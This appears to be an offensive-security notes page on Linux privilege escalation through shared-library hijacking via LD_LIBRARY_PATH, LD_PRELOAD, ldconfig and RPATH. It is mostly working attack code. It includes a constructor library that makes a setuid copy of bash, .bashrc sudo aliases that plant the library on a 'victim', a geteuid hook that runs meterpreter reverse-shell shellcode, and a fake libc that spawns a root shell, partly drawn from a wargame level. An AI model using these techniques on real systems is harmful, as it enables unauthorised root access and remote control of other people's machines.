Shared Library

1. LD_LIBRARY_PATH

We want to hijack the library of a program that a victim is likely to run, especially as sudo.

We can run pspy64 to see what programs the user runs. Then we need to list what libraries are being loaded when that program is begin run.

Example:

ldd /usr/bin/top

ldd /bin/netstat

Once we have selected the library we want to hijack, we can create the following malicious library hax.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static void runmahpayload() __attribute__((constructor));

void runmahpayload() {
    setuid(0);
    setgid(0);
    printf("DLL HIJACKING IN PROGRESS \n");
    system("cp /bin/bash /tmp/bash; chmod +s /tmp/bash");
}

Then to compile it:

gcc -Wall -fPIC -c -o hax.o hax.c

gcc -shared -o libhax.so hax.o

Then we upload libhax.so to the home directory of the user we have compromised and rename it with the library we want to hijack, we can test if is works but just running it.

By default user environment variables are not passed on when using sudo so we can modify .bashrc to add a command that will change through sudo the library path, so when the program runs, it will load our malicious library.

alias sudo="sudo LD_LIBRARY_PATH=/home/user/"

Then we can source the .bashrc file to load the changes we made:

source ~/.bashrc

After that, when the program that runs the library is ran as sudo, it will load our malicious library.

2. LD_PRELOAD

We first need to find an application that the victim is likely to frequently use. One potential option is the cp utility.

We can run ltrace on the cp command to get a list of library function calls it uses during normal operation.

ltrace cp

There are a lot of calls, but one that stands out is geteuid. This function is a good candidate because it seems to only be called once during the application run, which limits how frequently our code will be executed.

Let’s try to hook this call through our own malicious shared library.

#define _GNU_SOURCE
#include <sys/mman.h> // for mprotect
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

char buf[] = // msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.X.Y LPORT=443 -f c
    "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    // ...
    "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a";

uid_t geteuid(void)
{
    typeof(geteuid) *old_geteuid;
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    
    if (fork() == 0)
    {
        intptr_t pagesize = sysconf(_SC_PAGESIZE);
        if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ | PROT_EXEC))
        {
            perror("mprotect");
            return -1;
        }
        int (*ret)() = (int (*)())buf;
        ret();
    }
    else
    {
        printf("HACK: returning from function...\n");
        return (*old_geteuid)();
    }
    
    printf("HACK: Returning from main...\n");
    return -2;
}

Then we compile it:

gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c

gcc -shared -o evil_geteuid.so evil_geteuid.o -ldl

Then we edit .bashrc and add:

alias sudo="sudo LD_PRELOAD=/home/user/evil_geteuid.so"

After that, we will receive a shell when the program runs as sudo.

3. ldconfig

  • Identify shared libraries with ldd

ldd /opt/binary linux-vdso.so.1(0x00007ffe961cd000) vulnlib.so.8=>/usr/lib/vulnlib.so.8(0x00007fa55e55a000) /lib64/ld-linux-x86-64.so.2=>/usr/lib64/ld-linux-x86-64.so.2(0x00007fa55e6c8000)

  • Create a library in /tmp and activate the path.

gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c echo "/tmp/">/etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary

4. RPATH

level15@nebula:/home/flag15$ readelf -d flag15 |egrep "NEEDED|RPATH"

0x00000001(NEEDED) Shared library: [libc.so.6] 0x0000000f(RPATH) Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1=>(0x0068c000) libc.so.6=>/lib/i386-linux-gnu/libc.so.6(0x00110000) /lib/ld-linux.so.2(0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6/var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1=>(0x005b0000) libc.so.6=>/var/tmp/flag15/libc.so.6(0x00110000) /lib/ld-linux.so.2(0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int,char **,char **),int argc,char **ubp_av,void (*init) (void),void (*fini) (void),void (*rtld_fini) (void),void (*stack_end))
{
 char *file =SHELL;
 char *argv[] ={SHELL,0};
 setresuid(geteuid(),geteuid(),geteuid());
 execve(file,argv,0);
}

Last updated